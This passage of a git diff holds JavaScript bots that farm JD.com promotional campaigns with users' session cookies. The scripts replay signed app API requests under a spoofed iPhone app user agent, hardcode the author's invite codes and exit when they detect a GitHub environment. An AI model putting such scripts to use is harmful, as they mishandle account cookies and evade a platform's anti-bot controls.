'【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await jdNh() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNh() { + $.score = 0 + await getShareCode() + await getIsvToken() + await getIsvToken2() + await getActCk() + await getActInfo() + await getMyPing() + await getUserInfo() + await getActContent(false,shareUuid) + await getActContent(true) + if($.userInfo.score>=5000){ + console.log(`大于5000金币,去抽奖`) + await draw() + } + await showMsg(); +} + +function getShareCode() { + return new Promise(resolve => { + $.get({url:'https://gitee.com/shylocks/updateTeam/raw/main/jd_nh.json',headers:{ + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)' + }},(err,resp,data)=>{ + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + shareUuid = data['shareUuid'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body :'body=%7B%22to%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%5C%2Fdingzhi%5C%2Fvm%5C%2Ftemplate%5C%2Factivity%5C%2F940531%3FactivityId%3Ddzvm210168869301%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=11c092269dfa11a21fec29b3a844c752&st=1610417332242&sv=112', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config,async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C%2F%5C%2Flzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&sign=a65279303b19bf51c17e7dbfdea85dd3&st=1610417332632&sv=112', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config,async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏的Cookie +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("dingzhi/vm/template/activity/940531", `activityId=${ACT_ID}`), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + cookie = `${cookie};` + if($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie} ${ck.split(";")[0]};` + } + else{ + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie} ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得游戏信息 +function getActInfo() { + return new Promise(resolve => { + $.post(taskPostUrl('dz/common/getSimpleActInfoVo', `activityId=${ACT_ID}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result) { + $.shopId = data.data.shopId + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post(taskPostUrl('customer/getMyPing', `userId=${$.shopId}&token=${$.token2}&fromType=APP`), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result) { + $.pin = data.data.secretPin + cookie = `${cookie} AUTH_C_USER=${$.pin}` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + $.post(taskPostUrl('wxActionCommon/getUserInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`用户【${data.data.nickname}】信息获取成功`) + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getActContent(info=false, shareUuid = '') { + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/activityContent', + `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${shareUuid}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + $.userInfo = data.data + $.actorUuid = $.userInfo.actorUuid + + if (!info) { + console.log(`您的好友助力码为${$.actorUuid}`) + console.log(`当前金币${$.userInfo.score}`) + for(let i of ['sign','mainActive','visitSku','allFollowShop','allAddSku','memberCard']){ + let task = data.data[i] + if(task.taskName==='浏览会场' || task.taskName==='浏览商品' + || task.taskName==='签到'){ + if (task.count < task.taskMax) { + console.log(`去做${task.taskName}任务`) + let res = await getTaskInfo(task.taskType) + for (let vo of res) { + await doTask(vo.type, vo.value) + await $.wait(500) + } + } + } else if(task.taskName ==='一键关注店铺' || task.taskName ==='一键开卡' // || task.taskName ==='一键加购' + ){ + if (task.count < task.taskMax){ + console.log(`去做${task.taskName}任务`) + let res = await getTaskInfo(task.taskType) + let vo = res[0] + await doTask(vo.type, vo.value) + await $.wait(500) + } + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 做任务 +function getTaskInfo(taskType, value) { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/taskInfo', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + resolve(data.data.data.data) + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +// 完成任务 +function doTask(taskType, value) { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.pin)}&actorUuid=${$.actorUuid}&taskType=${taskType}&taskValue=${value}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/saveTask', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`任务完成成功,获得${data.data.score}金币`) + $.score += data.data.score + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得金币${$.score}枚`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +//抽奖 +function draw() { + let body = `activityId=${ACT_ID}&uuid=${$.actorUuid}&pin=${encodeURIComponent($.pin)}&drawValue=18` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/vm/template/start', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`抽奖成功,获得 ${data.data.drawInfo || '空气'}`) + message += `抽奖成功,获得 ${data.data.drawInfo || '空气'}` + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} +function taskUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} IsvToken=${$.isvToken};` + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian.js b/activity/jd_nian.js new file mode 100644 index 0000000..28c0e25 --- /dev/null +++ b/activity/jd_nian.js @@ -0,0 +1,1690 @@ +/* +京东炸年兽🧨 +活动时间:2021-1-18至2021-2-11 +暂不加入品牌会员 +地址 https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html +活动入口:京东app首页浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽🧨 +0 9,12,20,21 * * * jd_nian.js, tag=京东炸年兽🧨, enabled=true + +================Loon============== +[Script] +cron "0 9,12,20,21 * * *" script-path=jd_nian.js,tag=京东炸年兽🧨 + +===============Surge================= +京东炸年兽🧨 = type=cron,cronexp="0 9,12,20,21 * * *",wake-system=1,timeout=3600,script-path=jd_nian.js + +============小火箭========= +京东炸年兽🧨 = type=cron,script-path=jd_nian.js, cronexpr="0 9,12,20,21 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽🧨'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, superAssist = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `cgxZbDnLLbvT4kKFa2r4itMpof2y7_o@cgxZdTXtILLevwyYCwz65yWwCE8lGkr3bUNrT0h7kLPi4wxXS762i1R7_A0@cgxZdTXtIryM712cW1aougOBa8ZyzwDRObdr4-lyq7WPJbXwCd4EB76el1c@cgxZdTXtIL-L7FzMAQCqvap-CydslPKkAn5-YquhVOdq2fHQPxbVJ4pskHs`, + `cgxZbDnLLbvT4kKFa2r4itMpof2y7_o@cgxZdTXtILLevwyYCwz65yWwCE8lGkr3bUNrT0h7kLPi4wxXS762i1R7_A0@cgxZdTXtIryM712cW1aougOBa8ZyzwDRObdr4-lyq7WPJbXwCd4EB76el1c@cgxZdTXtIL-L7FzMAQCqvap-CydslPKkAn5-YquhVOdq2fHQPxbVJ4pskHs` +]; +const pkInviteCodes = [ + 'IgNWdiLGaPadvlqJQnnKp27-YpAvKvSYNTSkTGvZylf_0wcvqD9EMkohEN4@IgNWdiLGaPaZskfACQyhgLSpZWps-WtQEW3McibU@IgNWdiLGaPaAvmHPAQf769XqjJjMyRirPzN9-AS-WHY9Y_G7t9Cwe5gdiI2qEvDY@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hJTS2SQzU0vulL0fHeULJaIfgqHFd7f_ao@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hLRjZBAJLHzBpcl18AeskNYctp_8w', + 'IgNWdiLGaPadvlqJQnnKp27-YpAvKvSYNTSkTGvZylf_0wcvqD9EMkohEN4@IgNWdiLGaPaZskfACQyhgLSpZWps-WtQEW3McibU@IgNWdiLGaPaAvmHPAQf769XqjJjMyRirPzN9-AS-WHY9Y_G7t9Cwe5gdiI2qEvDY@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hJTS2SQzU0vulL0fHeULJaIfgqHFd7f_ao@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hLRjZBAJLHzBpcl18AeskNYctp_8w' +] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); +const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html%22%20%7D`; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await shareCodesFormatPk() + await jdNian() + } + } + if(superAssist.length) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await helpSuper() + } + } + if ((nowTimes.getHours() < 20 && nowTimes.getHours() >= 10) && nowTimes.getDate() === 4) { + if (nowTimes.getHours() === 12 || nowTimes.getHours() === 19) { + $.msg($.name, '', '队伍红包已可兑换\n点击弹窗直达兑换页面', { 'open-url' : openUrl}); + if ($.isNode()) await notify.sendNotify($.name, `队伍PK红包已可兑换\n兑换地址: https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html`) + } + } + if (nowTimes.getHours() === 20 && nowTimes.getDate() === 4) { + $.msg($.name, '', '年终奖红包已可兑换\n点击弹窗直达兑换页面', { 'open-url' : openUrl}) + if ($.isNode()) await notify.sendNotify($.name, `年终奖红包已可兑换\n兑换地址: https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + $.full = false + await getHomeData() + await nian_doAdditionalTask() + if (!$.secretp) return + // 注释PK互助代码 + // let hour = new Date().getUTCHours() + // if (1 <= hour && hour < 12) { + // // 北京时间9点-20点 + // $.hasGroup = false + // await pkTaskDetail() + // if ($.hasGroup) await pkInfo() + // await helpFriendsPK() + // } + // if (12 <= hour && hour < 14) { + // // 北京时间20点-22点 + // $.hasGroup = false + // await pkTaskStealDetail() + // if ($.hasGroup) await pkInfo() + // await helpFriendsPK() + // } + if($.full) return + await $.wait(2000) + await killCouponList() + await $.wait(2000) + await map() + await $.wait(2000) + await queryMaterials() + await getTaskList() + await $.wait(1000) + await doTask() + await $.wait(2000) + await helpFriends() + await $.wait(2000) + 